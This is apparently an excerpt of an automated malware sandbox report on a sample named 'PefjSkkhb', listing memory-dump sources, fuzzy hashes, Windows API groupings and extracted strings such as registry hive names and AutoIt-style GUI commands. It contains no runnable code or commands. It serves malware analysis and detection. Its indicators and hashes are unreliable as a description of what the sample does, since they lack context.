                                                                                                                                                                            • Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
                                                                                                                                                                            • Instruction Fuzzy Hash: BCF04F71B182998EDBB58F2CA842A2977A0E7083C0F909479DA89C3F54DE3CD0629F04
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
                                                                                                                                                                            • Instruction ID: 0beb6337ef564481c125251b7a038bf0dbaeb2671cd594aca9f8e38cf1a44eb8
                                                                                                                                                                            • Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
                                                                                                                                                                            • Instruction Fuzzy Hash: 83A0027990FC02E4E6289F00E8540703330EF527A1B5215B2D11DC14A9EF3CA590D300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Color$LongWindow$ModeObjectStockText
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 554392163-0
                                                                                                                                                                            • Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                                                                                                                                            • Instruction ID: fb9ea6b4420ac1316e903d6321acc300b0b47265b11c022b9c7810c2d5ca81de
                                                                                                                                                                            • Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                                                                                                                                            • Instruction Fuzzy Hash: D981A635E0855782EA709F2998483BD2396FF87BD4F5502B1C95DC76ECDE3CA882A740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: wcscat$FileInfoQueryValueVersion$Sizewcscpywcsstr
                                                                                                                                                                            • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                                                                                            • API String ID: 222038402-1459072770
                                                                                                                                                                            • Opcode ID: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
                                                                                                                                                                            • Instruction ID: ce0c3c1cde69484a5548ae525731d2ad00b49f2582863e9921893cf20189c614
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c755c0fc64d6d4bda2231876f2c678180d8bec7320acdc058a860b754f6bdd3
                                                                                                                                                                            • Instruction Fuzzy Hash: EF515C3570864286EA34EF2695511B96391FF86FE0F4084B1EE5D8BB9ADF3CE6018704
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharMessageSendUpper
                                                                                                                                                                            • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                                                                                                                                            • API String ID: 3974292440-4258414348
                                                                                                                                                                            • Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                                                                                                                                            • Instruction ID: 143e416007d014cec172ee4444e0fab6347dc35d169afa721323930af9e0d044
                                                                                                                                                                            • Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                                                                                                                                            • Instruction Fuzzy Hash: DB12BE36B18657C2EE709F6988111BD66A0EF5AFD8B4846F1DE4EC7389EE3CE4418350
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
                                                                                                                                                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                                                                                                                            • API String ID: 2091158083-3440237614
                                                                                                                                                                            • Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                                                                                                                                            • Instruction ID: 998e060b03ca52557df46fc31f1f6520311047ccf840d101d94e7fa6d2124991
                                                                                                                                                                            • Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                                                                                                                                            • Instruction Fuzzy Hash: 42715D36618A8296E720EF25E8547ED7760FB85BD8F804072EA4E87A99CF7CD149C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: SendString$BuffCharDriveLowerType
                                                                                                                                                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                                                                                                                                            • API String ID: 1600147383-4113822522
                                                                                                                                                                            • Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
                                                                                                                                                                            • Instruction ID: 91665dc5263b4af48b2eff59705370bdd39bc6ff9e87824f2504ad9660964719
                                                                                                                                                                            • Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
                                                                                                                                                                            • Instruction Fuzzy Hash: EF816A32B14A1285EF209F69D8512BC27B1FB56BD8B5484B1CA4DC7B99DF3CEA46C340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
                                                                                                                                                                            • String ID: .dll$.exe$.icl
                                                                                                                                                                            • API String ID: 258715311-1154884017
                                                                                                                                                                            • Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                                                                                                                                            • Instruction ID: 78465e60f5c318a674571df504f63325436c2142e48e1de9c0132e7b6e63c6ef
                                                                                                                                                                            • Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                                                                                                                                            • Instruction Fuzzy Hash: 0F71C43AA0465282EB74AF2598446B933A0FF4AFE8F440675EE1D877A8DF3CD444D300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3840717409-0
                                                                                                                                                                            • Opcode ID: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                                                                                                                                            • Instruction ID: 68f3a100ffe2481b1971fdd2cc485798397ea5c26dc19dc63ca9a9d7c6d1dbe6
                                                                                                                                                                            • Opcode Fuzzy Hash: 7c311c18288b1496fa214aa0c4abe44590be5c31b38ad7f7d9d564ed982c3a32
                                                                                                                                                                            • Instruction Fuzzy Hash: 8251543AB15B518AEB24EF66E848A6933A0FB89FD8B504171DE5E83B18DF3DD405D700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Filewcscat$DeleteTemp$NamePath_fread_nolock_invalid_parameter_noinfowcscpy
                                                                                                                                                                            • String ID: aut
                                                                                                                                                                            • API String ID: 130057722-3010740371
                                                                                                                                                                            • Opcode ID: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
                                                                                                                                                                            • Instruction ID: 314a835a0645033295edeb5fa9e22a8ad075bc8f4b231af8581f3237fc94c51c
                                                                                                                                                                            • Opcode Fuzzy Hash: 587d8ff44f56b4c982e82ef7faa21eb4bcf6eabd1a57bd80e25ab706fdae8aa1
                                                                                                                                                                            • Instruction Fuzzy Hash: C3C13C36618A8696EB30DF25E8406ED6760FB86BC8F444076EA8D8BA5DDF7CD605C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$MessageSend$CreateDestroy$DesktopRect
                                                                                                                                                                            • String ID: tooltips_class32
                                                                                                                                                                            • API String ID: 2443926738-1918224756
                                                                                                                                                                            • Opcode ID: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                                                                                                                                            • Instruction ID: 1f9a462545afa74a8cb2f4102d66d7e13e792e15068c458b5d5dbc5da3f40434
                                                                                                                                                                            • Opcode Fuzzy Hash: aaeb60d555cc86bf3e66e764e60d0e4162c92bacd9f6913f3df39f71d352b9df
                                                                                                                                                                            • Instruction Fuzzy Hash: 43916836A18A898AEB60CF65E4547AD37A1FB89BC4F4040B6DE4D87B58DF3CE045C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2598888154-3916222277
                                                                                                                                                                            • Opcode ID: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
                                                                                                                                                                            • Instruction ID: c712c56ddb891c646c397c83f386b25ba34848a949a21ae78692148af61b8d91
                                                                                                                                                                            • Opcode Fuzzy Hash: 3994b7b28fef36ee27ebe09cd9ee49426cf7ca29f8cb3ed20e9a9f0582733bf5
                                                                                                                                                                            • Instruction Fuzzy Hash: 5A515776B15641CBE760DF65E844AAD7BB5FB49BC8F008126EE4A93B18CF38E415CB04
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                                                                                                                            • String ID: NULL Pointer assignment
                                                                                                                                                                            • API String ID: 2706829360-2785691316
                                                                                                                                                                            • Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                                                                                                                                            • Instruction ID: 855be08a54049b5ff4a6ff807f905603e3a345cd753bbe797acc92ac4b93d623
                                                                                                                                                                            • Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                                                                                                                                            • Instruction Fuzzy Hash: 0F516E36A15A528AEB24EF61D8946BD37B0FF85FD8F414075EA0E87669DF38D049C300
                                                                                                                                                                            APIs
                                                                                                                                                                            • CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF697BDFD7B), ref: 00007FF697BE1143
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: BuffCharUpper
                                                                                                                                                                            • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                                                                                                                                            • API String ID: 3964851224-909552448
                                                                                                                                                                            • Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                                                                                                                                            • Instruction ID: 8b1e915f3280f27b1e95f44de00db689b6d3ea9af19259ab53f6ef23d1ca9604
                                                                                                                                                                            • Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                                                                                                                                            • Instruction Fuzzy Hash: 5CE17F32F0865F81EB709F6598402B963A0FF12BD8B6845B5DA1ED77D8EE3CE9458340
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CurrentDirectory$AttributesFilewcscat$wcscpy
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 4125642244-438819550
                                                                                                                                                                            • Opcode ID: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                                                                                                                                            • Instruction ID: 9cd13a93449aba83d519ee3ce3d4f7a5976997281f0c6183cd1102d8c9215f3b
                                                                                                                                                                            • Opcode Fuzzy Hash: 1b6dd8a96d898a21e7a73211ee0a4e3b10aba06561d9a5e90c26a3235988e558
                                                                                                                                                                            • Instruction Fuzzy Hash: 19818032618A8296EF20DF19D8546BD33A0FB46BC5F884076EA4E87B99DF7CE544C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: ItemMenu$Info$CheckCountRadioSleep
                                                                                                                                                                            • String ID: P
                                                                                                                                                                            • API String ID: 1460738036-3110715001
                                                                                                                                                                            • Opcode ID: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                                                                                                                                            • Instruction ID: 5950b4c4c5b9bc81bc34697bf9773d70a14753c1fb9be2acc05b6afcf01da96f
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e2be1337fb57673dad59794737e60112838fe0b06465b145457b8a8f464ada3
                                                                                                                                                                            • Instruction Fuzzy Hash: 4171C136E086828AF7709F2594853BD27A1FB46BC8F5444B1DE4E87689CE7CF946C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: LoadStringwprintf
                                                                                                                                                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                                                                                                                                            • API String ID: 3297454147-3080491070
                                                                                                                                                                            • Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
